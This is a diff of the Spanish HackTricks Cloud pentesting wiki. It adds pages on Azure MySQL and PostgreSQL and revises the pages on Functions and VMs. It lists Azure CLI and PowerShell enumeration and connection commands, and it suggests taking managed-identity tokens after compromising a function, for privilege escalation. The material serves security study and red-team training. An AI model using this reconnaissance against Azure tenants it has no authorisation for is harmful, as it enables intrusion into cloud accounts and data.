print(f"Inserted document with ID: {result.inserted_id}")
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
## Referencias
|
||||
|
||||
* [https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api](https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api)
|
||||
* [https://learn.microsoft.com/en-us/azure/cosmos-db/](https://learn.microsoft.com/en-us/azure/cosmos-db/)
|
||||
* [https://learn.microsoft.com/en-us/azure/cosmos-db/introduction](https://learn.microsoft.com/en-us/azure/cosmos-db/introduction)
|
||||
* [https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli](https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli)
|
||||
|
||||
## Escalación de Privilegios
|
||||
|
||||
{% content-ref url="../az-privilege-escalation/az-cosmosDB-privesc.md" %}
|
||||
[az-cosmosDB-privesc.md](../az-privilege-escalation/az-cosmosDB-privesc.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Post Explotación
|
||||
|
||||
{% content-ref url="../az-post-exploitation/az-cosmosDB-post-exploitation.md" %}
|
||||
[az-cosmosDB-post-exploitation.md](../az-post-exploitation/az-sql-post-exploitation.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## ToDo
|
||||
|
||||
* El resto de la DB aquí, tablas, cassandra, gremlin...
|
||||
* Echar un vistazo a la post explotación "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" y definiciones de roles porque aquí podría haber una escalación de privilegios
|
||||
* Echar un vistazo a las restauraciones
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -56,9 +56,9 @@ En una **función de Windows** usando NodeJS, el código se encontraba en **`C:\
|
||||
|
||||
### **Identidades Gestionadas & Metadatos**
|
||||
|
||||
Al igual que [**VMs**](vms/index.html), las Functions pueden tener **Identidades Gestionadas** de 2 tipos: Asignadas por el sistema y Asignadas por el usuario.
|
||||
Al igual que en [**VMs**](vms/index.html), las Functions pueden tener **Identidades Gestionadas** de 2 tipos: Asignadas por el sistema y Asignadas por el usuario.
|
||||
|
||||
La **asignada por el sistema** será una identidad gestionada que **solo la función** que la tiene asignada podrá usar, mientras que las identidades gestionadas **asignadas por el usuario** son identidades gestionadas que **cualquier otro servicio de Azure podrá usar**.
|
||||
La **asignada por el sistema** será una identidad gestionada que **solo la función** que la tiene asignada podrá usar, mientras que las **identidades gestionadas asignadas por el usuario** son identidades gestionadas que **cualquier otro servicio de Azure podrá usar**.
|
||||
|
||||
> [!NOTE]
|
||||
> Al igual que en [**VMs**](vms/index.html), las Functions pueden tener **1 identidad gestionada asignada por el sistema** y **varias asignadas por el usuario**, por lo que siempre es importante intentar encontrar todas ellas si comprometes la función porque podrías ser capaz de escalar privilegios a varias identidades gestionadas desde solo una Function.
|
||||
@@ -67,19 +67,19 @@ La **asignada por el sistema** será una identidad gestionada que **solo la func
|
||||
|
||||
Es posible usar los [**scripts PEASS**](https://github.com/peass-ng/PEASS-ng) para obtener tokens de la identidad gestionada predeterminada desde el punto de metadatos. O podrías obtenerlos **manualmente** como se explica en:
|
||||
|
||||
{% embed url="https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#azure-vm" %}
|
||||
{% embed url="https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm" %}
|
||||
|
||||
Ten en cuenta que necesitas encontrar una manera de **verificar todas las Identidades Gestionadas que tiene adjunta una función**, ya que si no lo indicas, el punto de metadatos **solo usará la predeterminada** (consulta el enlace anterior para más información).
|
||||
Ten en cuenta que necesitas encontrar una manera de **verificar todas las Identidades Gestionadas que una función tiene adjuntas**, ya que si no lo indicas, el punto de metadatos **solo usará la predeterminada** (consulta el enlace anterior para más información).
|
||||
|
||||
## Claves de Acceso
|
||||
|
||||
> [!NOTE]
|
||||
> Ten en cuenta que no hay permisos RBAC para dar acceso a los usuarios para invocar las funciones. La **invocación de funciones depende del desencadenador** seleccionado cuando se creó y si se seleccionó un desencadenador HTTP, podría ser necesario usar una **clave de acceso**.
|
||||
> Ten en cuenta que no hay permisos RBAC para dar acceso a los usuarios para invocar las funciones. La **invocación de la función depende del desencadenador** seleccionado cuando se creó y si se seleccionó un desencadenador HTTP, podría ser necesario usar una **clave de acceso**.
|
||||
|
||||
Al crear un endpoint dentro de una función usando un **desencadenador HTTP**, es posible indicar el **nivel de autorización de clave de acceso** necesario para activar la función. Hay tres opciones disponibles:
|
||||
|
||||
- **ANONYMOUS**: **Todos** pueden acceder a la función a través de la URL.
|
||||
- **FUNCTION**: El endpoint solo es accesible para usuarios que usan una **clave de función, host o maestra**.
|
||||
- **FUNCTION**: El endpoint solo es accesible para usuarios que utilizan una **clave de función, host o maestra**.
|
||||
- **ADMIN**: El endpoint solo es accesible para usuarios con una **clave maestra**.
|
||||
|
||||
**Tipo de claves:**
|
||||
@@ -96,7 +96,7 @@ Al crear un endpoint dentro de una función usando un **desencadenador HTTP**, e
|
||||
|
||||
### Autenticación Básica
|
||||
|
||||
Al igual que en los App Services, las Functions también admiten autenticación básica para conectarse a **SCM** y **FTP** para desplegar código usando un **nombre de usuario y contraseña en una URL** proporcionada por Azure. Más información sobre esto en:
|
||||
Al igual que en App Services, las Functions también admiten autenticación básica para conectarse a **SCM** y **FTP** para desplegar código usando un **nombre de usuario y contraseña en una URL** proporcionada por Azure. Más información al respecto en:
|
||||
|
||||
{{#ref}}
|
||||
az-app-services.md
|
||||
|
||||
192
src/pentesting-cloud/azure-security/az-services/az-mysql.md
Normal file
192
src/pentesting-cloud/azure-security/az-services/az-mysql.md
Normal file
@@ -0,0 +1,192 @@
|
||||
# Az - Bases de datos MySQL
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Azure MySQL
|
||||
Azure Database for MySQL es un servicio de base de datos relacional completamente administrado basado en la Edición Comunitaria de MySQL, diseñado para proporcionar escalabilidad, seguridad y flexibilidad para diversas necesidades de aplicaciones. Tiene dos modelos de implementación diferentes:
|
||||
|
||||
* **Servidor Único** (está en camino a la jubilación):
|
||||
- Optimizado para implementaciones de MySQL rentables y fáciles de administrar.
|
||||
- Las características incluyen copias de seguridad automatizadas, alta disponibilidad y monitoreo básico.
|
||||
- Ideal para aplicaciones con cargas de trabajo predecibles.
|
||||
* **Servidor Flexible**:
|
||||
- Proporciona más control sobre la gestión y configuración de la base de datos.
|
||||
- Soporta alta disponibilidad (en la misma zona y redundante entre zonas).
|
||||
- Las características incluyen escalado elástico, gestión de parches y optimización de cargas de trabajo.
|
||||
- Ofrece funcionalidad de detener/iniciar para ahorrar costos.
|
||||
|
||||
### Características Clave
|
||||
* **Gestión del Servidor**: La función **ad-admin** permite gestionar administradores de Azure Active Directory (AAD) para servidores MySQL, proporcionando control sobre el acceso administrativo a través de credenciales de AAD, mientras que la función **identity** permite la asignación y gestión de Identidades Administradas de Azure, ofreciendo autenticación segura y sin credenciales para acceder a recursos de Azure.
|
||||
* **Gestión del Ciclo de Vida**: opciones para iniciar o detener un servidor, eliminar una instancia de servidor flexible, reiniciar un servidor para aplicar rápidamente cambios de configuración y esperar para asegurar que un servidor cumpla con condiciones específicas antes de proceder con scripts de automatización.
|
||||
* **Seguridad y Redes**: puede gestionar reglas de firewall del servidor para un acceso seguro a la base de datos y desacoplar configuraciones de red virtual según sea necesario.
|
||||
* **Protección de Datos y Copia de Seguridad**: incluye opciones para gestionar copias de seguridad de servidores flexibles para recuperación de datos, realizar restauraciones geográficas para recuperar un servidor en una región diferente, exportar copias de seguridad de servidores para uso externo (en Vista Previa) y restaurar un servidor desde una copia de seguridad a un punto específico en el tiempo.
|
||||
|
||||
### Enumeración
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="az cli" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# List all flexible-servers
|
||||
az mysql flexible-server db list --resource-group <resource-group-name>
|
||||
# List databases in a flexible-server
|
||||
az mysql flexible-server db list --resource-group <resource-group-name> --server-name <server_name>
|
||||
# Show specific details of a MySQL database
|
||||
az mysql flexible-server db show --resource-group <resource-group-name> --server-name <server_name> --database-name <database_name>
|
||||
|
||||
# List firewall rules of the a server
|
||||
az mysql flexible-server firewall-rule list --resource-group <resource-group-name> --name <server_name>
|
||||
|
||||
# List all ad-admin in a server
|
||||
az mysql flexible-server ad-admin list --resource-group <resource-group-name> --server-name <server_name>
|
||||
# List all user assigned managed identities from the server
|
||||
az mysql flexible-server identity list --resource-group <resource-group-name> --server-name <server_name>
|
||||
|
||||
# List the server backups
|
||||
az mysql flexible-server backup list --resource-group <resource-group-name> --name <server_name>
|
||||
# List all read replicas for a given server
|
||||
az mysql flexible-server replica list --resource-group <resource-group-name> --name <server_name>
|
||||
|
||||
# Get the server's advanced threat protection setting
|
||||
az mysql flexible-server advanced-threat-protection-setting show --resource-group <resource-group-name> --name <server_name>
|
||||
# List all of the maintenances of a flexible server
|
||||
az mysql flexible-server maintenance list --resource-group <resource-group-name> --server-name <server_name>
|
||||
# List log files for a server.
|
||||
az mysql flexible-server server-logs list --resource-group <resource-group-name> --server-name <server_name>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
```powershell
|
||||
Get-Command -Module Az.MySql
|
||||
|
||||
# Get all flexible servers in a resource group
|
||||
Get-AzMySqlFlexibleServer -ResourceGroupName <resource-group-name>
|
||||
|
||||
# List databases in a specific flexible server
|
||||
Get-AzMySqlFlexibleServerDatabase -ResourceGroupName <resource-group-name> -ServerName <server_name>
|
||||
|
||||
# Get details of a specific database in a flexible server
|
||||
Get-AzMySqlFlexibleServerDatabase -ResourceGroupName <resource-group-name> -ServerName <server_name> -DatabaseName <database_name>
|
||||
|
||||
# List all firewall rules for a flexible server
|
||||
Get-AzMySqlFlexibleServerFirewallRule -ResourceGroupName <resource-group-name> -ServerName <server_name>
|
||||
|
||||
# Get the identity information of a flexible server
|
||||
Get-AzMySqlFlexibleServerIdentity -ResourceGroupName <resource-group-name> -ServerName <server_name>
|
||||
|
||||
# Get the server's advanced threat protection setting
|
||||
Get-AzMySqlFlexibleServerAdvancedThreatProtection -ResourceGroupName <resource-group-name> -ServerName <server_name>
|
||||
|
||||
# List configuration settings of a flexible server
|
||||
Get-AzMySqlFlexibleServerConfiguration -ResourceGroupName <resource-group-name> -ServerName <server_name>
|
||||
# Get the connection string for a flexible server
|
||||
Get-AzMySqlFlexibleServerConnectionString -ResourceGroupName <resource-group-name> -ServerName <server_name> -Client <client>
|
||||
|
||||
# List all read replicas for a given server
|
||||
Get-AzMySqlFlexibleServerReplica -ResourceGroupName <resource-group-name> -ServerName <server_name>
|
||||
|
||||
# Get the maintenance window details for a flexible server
|
||||
Get-AzMySqlFlexibleServerMaintenanceWindow -ResourceGroupName <resource-group-name> -ServerName <server_name>
|
||||
|
||||
# List log files for a server
|
||||
Get-AzMySqlFlexibleServerLog -ResourceGroupName <resource-group-name> -ServerName <server_name>
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
### Conexión
|
||||
|
||||
Con la extensión rdbms-connect puedes acceder a la base de datos con:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server connect -n <server-name> -u <username> -p <password> --interactive
|
||||
|
||||
#or execute commands
|
||||
az mysql flexible-server execute \
|
||||
-n <server-name> \
|
||||
-u <username> \
|
||||
-p "<password>" \
|
||||
-d <database-name> \
|
||||
--querytext "SELECT * FROM <table-name>;"
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
O con el plugin de extensión nativa de MySQL
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
mysql -h <server-name>.mysql.database.azure.com -P 3306 -u <username> -p
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
También puedes ejecutar consultas con github, pero también se necesitan la contraseña y el usuario. Necesitas configurar un archivo sql con la consulta a ejecutar y luego:
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Setup
|
||||
az mysql flexible-server deploy setup \
|
||||
-s <server-name> \
|
||||
-g <resource-group> \
|
||||
-u <admin-user> \
|
||||
-p "<admin-password>" \
|
||||
--sql-file <path-to-sql-file> \
|
||||
--repo <github-username/repository-name> \
|
||||
--branch <branch-name> \
|
||||
--action-name <action-name> \
|
||||
--allow-push
|
||||
|
||||
# Run it
|
||||
az mysql flexible-server deploy run \
|
||||
--action-name <action-name> \
|
||||
--branch <branch-name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
## Escalación de Privilegios
|
||||
|
||||
{% content-ref url="../az-privilege-escalation/az-mysql-privesc.md" %}
|
||||
[az-mysql-privesc.md](../az-privilege-escalation/az-mysql-privesc.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Post Explotación
|
||||
|
||||
{% content-ref url="../az-post-exploitation/az-mysql-post-exploitation.md" %}
|
||||
[az-sql-mysql-exploitation.md](../az-post-exploitation/az-mysql-post-exploitation.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## ToDo
|
||||
|
||||
* Buscar una forma de acceder con mysql flexible-server ad-admin para verificar si es un método de escalación de privilegios
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
172
src/pentesting-cloud/azure-security/az-services/az-postgresql.md
Normal file
172
src/pentesting-cloud/azure-security/az-services/az-postgresql.md
Normal file
@@ -0,0 +1,172 @@
|
||||
# Az - Bases de datos PostgreSQL
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Azure PostgreSQL
|
||||
**Azure Database for PostgreSQL** es un servicio de **base de datos relacional completamente administrado basado en la edición comunitaria de PostgreSQL**. Está diseñado para proporcionar escalabilidad, seguridad y flexibilidad para diversas necesidades de aplicaciones. Similar a Azure MySQL, PostgreSQL ofrece dos modelos de implementación:
|
||||
|
||||
* **Servidor Único** (en la ruta de retiro):
|
||||
- Optimizado para implementaciones de PostgreSQL sencillas y rentables.
|
||||
- Presenta copias de seguridad automatizadas, monitoreo básico y alta disponibilidad.
|
||||
- Ideal para aplicaciones con cargas de trabajo predecibles.
|
||||
* **Servidor Flexible**:
|
||||
- Proporciona un mayor control sobre la gestión y configuración de la base de datos.
|
||||
- Soporta alta disponibilidad, tanto en la misma zona como entre zonas.
|
||||
- Presenta escalado elástico, mantenimiento automatizado y funcionalidad de ahorro de costos.
|
||||
- Permite iniciar y detener el servidor para optimizar costos.
|
||||
|
||||
### Características Clave
|
||||
|
||||
* **Ventanas de Mantenimiento Personalizadas**: Programa actualizaciones para minimizar interrupciones.
|
||||
* **Monitoreo Activo**: Accede a métricas y registros detallados para rastrear y mejorar el rendimiento de la base de datos.
|
||||
* **Detener/Iniciar Servidor**: Los usuarios pueden detener e iniciar el servidor.
|
||||
* **Copias de Seguridad Automáticas**: Copias de seguridad diarias integradas con períodos de retención configurables de hasta 35 días.
|
||||
* **Acceso Basado en Roles**: Controla los permisos de usuario y el acceso administrativo a través de Azure Active Directory.
|
||||
* **Seguridad y Redes**: puede gestionar reglas de firewall del servidor para un acceso seguro a la base de datos y desacoplar configuraciones de red virtual según sea necesario.
|
||||
|
||||
### Enumeración
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="az cli" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# List servers in a resource group
|
||||
az postgres flexible-server list --resource-group <resource-group-name>
|
||||
# List databases in a flexible-server
|
||||
az postgres flexible-server db list --resource-group <resource-group-name> --server-name <server_name>
|
||||
# Show specific details of a Postgre database
|
||||
az postgres flexible-server db show --resource-group <resource-group-name> --server-name <server_name> --database-name <database_name>
|
||||
|
||||
# List firewall rules of the a server
|
||||
az postgres flexible-server firewall-rule list --resource-group <resource-group-name> --name <server_name>
|
||||
# List parameter values for a felxible server
|
||||
az postgres flexible-server parameter list --resource-group <resource-group-name> --server-name <server_name>
|
||||
# List private link
|
||||
az postgres flexible-server private-link-resource list --resource-group <resource-group-name> --server-name <server_name>
|
||||
|
||||
# List all ad-admin in a server
|
||||
az postgres flexible-server ad-admin list --resource-group <resource-group-name> --server-name <server_name>
|
||||
# List all user assigned managed identities from the server
|
||||
az postgres flexible-server identity list --resource-group <resource-group-name> --server-name <server_name>
|
||||
|
||||
# List the server backups
|
||||
az postgres flexible-server backup list --resource-group <resource-group-name> --name <server_name>
|
||||
# List all read replicas for a given server
|
||||
az postgres flexible-server replica list --resource-group <resource-group-name> --name <server_name>
|
||||
# List migrations
|
||||
az postgres flexible-server migration list --resource-group <resource-group-name> --name <server_name>
|
||||
|
||||
# Get the server's advanced threat protection setting
|
||||
az postgres flexible-server advanced-threat-protection-setting show --resource-group <resource-group-name> --name <server_name>
|
||||
# List all of the maintenances of a flexible server
|
||||
az postgres flexible-server maintenance list --resource-group <resource-group-name> --server-name <server_name>
|
||||
# List log files for a server.
|
||||
az postgres flexible-server server-logs list --resource-group <resource-group-name> --server-name <server_name>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
```powershell
|
||||
Get-Command -Module Az.PostgreSql
|
||||
|
||||
# List flexible-servers in a resource group
|
||||
Get-AzPostgreSqlFlexibleServer -ResourceGroupName <resource-group-name>
|
||||
# List databases in a flexible-server
|
||||
Get-AzPostgreSqlFlexibleServerDatabase -ResourceGroupName <resource-group-name> -ServerName <server_name>
|
||||
|
||||
# List firewall rules of the a flexible-server
|
||||
Get-AzPostgreSqlFlexibleServerFirewallRule -ResourceGroupName <resource-group-name> -ServerName <server_name>
|
||||
|
||||
# List configuration settings of a flexible server
|
||||
Get-AzPostgreSqlFlexibleServerConfiguration -ResourceGroupName <resource-group-name> -ServerName <server_name>
|
||||
# Get the connection string for a flexible server
|
||||
Get-AzPostgreSqlFlexibleServerConnectionString -ResourceGroupName <resource-group-name> -ServerName <server_name> -Client <client>
|
||||
|
||||
Get-AzPostgreSqlFlexibleServerLocationBasedCapability -Location <location>
|
||||
|
||||
# List servers in a resource group
|
||||
Get-AzPostgreSqlServer -ResourceGroupName <resource-group-name>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
### Conexión
|
||||
|
||||
Con la extensión rdbms-connect puedes acceder a la base de datos con:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server connect -n <server-name> -u <username> -p <password> --interactive
|
||||
|
||||
#or execute commands
|
||||
az postgres flexible-server execute \
|
||||
-n <server-name> \
|
||||
-u <username> \
|
||||
-p "<password>" \
|
||||
-d <database-name> \
|
||||
--querytext "SELECT * FROM <table-name>;"
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
O
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
psql -h testpostgresserver1994.postgres.database.azure.com -p 5432 -U adminuser <database-name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
## Referencias
|
||||
|
||||
* [https://learn.microsoft.com/en-us/azure/postgresql/](https://learn.microsoft.com/en-us/azure/postgresql/)
|
||||
* [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview)
|
||||
* [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview)
|
||||
|
||||
## Escalación de Privilegios
|
||||
|
||||
{% content-ref url="../az-privilege-escalation/az-postgresql-privesc.md" %}
|
||||
[az-postgresql-privesc.md](../az-privilege-escalation/az-postgresql-privesc.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Post Explotación
|
||||
|
||||
{% content-ref url="../az-post-exploitation/az-postgresql-post-exploitation.md" %}
|
||||
[az-postgresql-post-exploitation.md](../az-post-exploitation/az-postgresql-post-exploitation.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## ToDo
|
||||
|
||||
* Buscar una forma de acceder con ad-admin para verificar que es un método de privesc
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -76,7 +76,7 @@ Get-AzDisk -Name <DiskName> -ResourceGroupName <ResourceGroupName>
|
||||
|
||||
## Imágenes, Imágenes de Galería y Puntos de Restauración
|
||||
|
||||
Una **imagen de VM** es una plantilla que contiene el sistema operativo, la configuración de la aplicación y el sistema de archivos necesarios para **crear una nueva máquina virtual (VM)**. La diferencia entre una imagen y un instantáneo de disco es que un instantáneo de disco es una copia de solo lectura, en un momento dado, de un solo disco administrado, utilizado principalmente para copias de seguridad o solución de problemas, mientras que una imagen puede contener **múltiples discos y está diseñada para servir como plantilla para crear nuevas VMs**.\
|
||||
Una **imagen de VM** es una plantilla que contiene el sistema operativo, la configuración de la aplicación y el sistema de archivos necesarios para **crear una nueva máquina virtual (VM)**. La diferencia entre una imagen y un instantáneo de disco es que un instantáneo de disco es una copia de solo lectura, en un momento dado, de un solo disco administrado, utilizado principalmente para copias de seguridad o solución de problemas, mientras que una imagen puede contener **múltiples discos y está diseñada para servir como una plantilla para crear nuevas VMs**.\
|
||||
Las imágenes se pueden gestionar en la **sección de Imágenes** de Azure o dentro de **galerías de computación de Azure**, lo que permite generar **versiones** y **compartir** la imagen entre inquilinos o incluso hacerla pública.
|
||||
|
||||
Un **punto de restauración** almacena la configuración de la VM y **instantáneas consistentes en el tiempo** de **todos los discos administrados** adjuntos a la VM. Está relacionado con la VM y su propósito es poder restaurar esa VM a cómo estaba en ese punto específico en el tiempo.
|
||||
@@ -196,7 +196,7 @@ Además, para contactar el punto final de metadatos, la solicitud HTTP debe tene
|
||||
Verifique cómo enumerarlo en:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#azure-vm
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm
|
||||
{{#endref}}
|
||||
|
||||
## Enumeración de VM
|
||||
@@ -601,13 +601,13 @@ Set-AzVMDscExtension `
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Hybrid Runbook Worker</summary>
|
||||
<summary>Trabajador de Runbook Híbrido</summary>
|
||||
|
||||
Esta es una extensión de VM que permitiría ejecutar runbooks en VMs desde una cuenta de automatización. Para más información, consulta el [Automation Accounts service](../az-automation-account/index.html).
|
||||
Esta es una extensión de VM que permitiría ejecutar runbooks en VMs desde una cuenta de automatización. Para más información, consulta el [servicio de Cuentas de Automatización](../az-automation-account/index.html).
|
||||
|
||||
</details>
|
||||
|
||||
### VM Applications
|
||||
### Aplicaciones de VM
|
||||
|
||||
Estos son paquetes con todos los **datos de la aplicación y scripts de instalación y desinstalación** que se pueden usar para agregar y eliminar fácilmente aplicaciones en VMs.
|
||||
```bash
|
||||
@@ -617,7 +617,7 @@ az sig list --resource-group <res-group> --output table
|
||||
# List all apps in a fallery
|
||||
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
|
||||
```
|
||||
Estos son los caminos donde las aplicaciones se descargan dentro del sistema de archivos:
|
||||
Estos son los caminos donde se descargan las aplicaciones dentro del sistema de archivos:
|
||||
|
||||
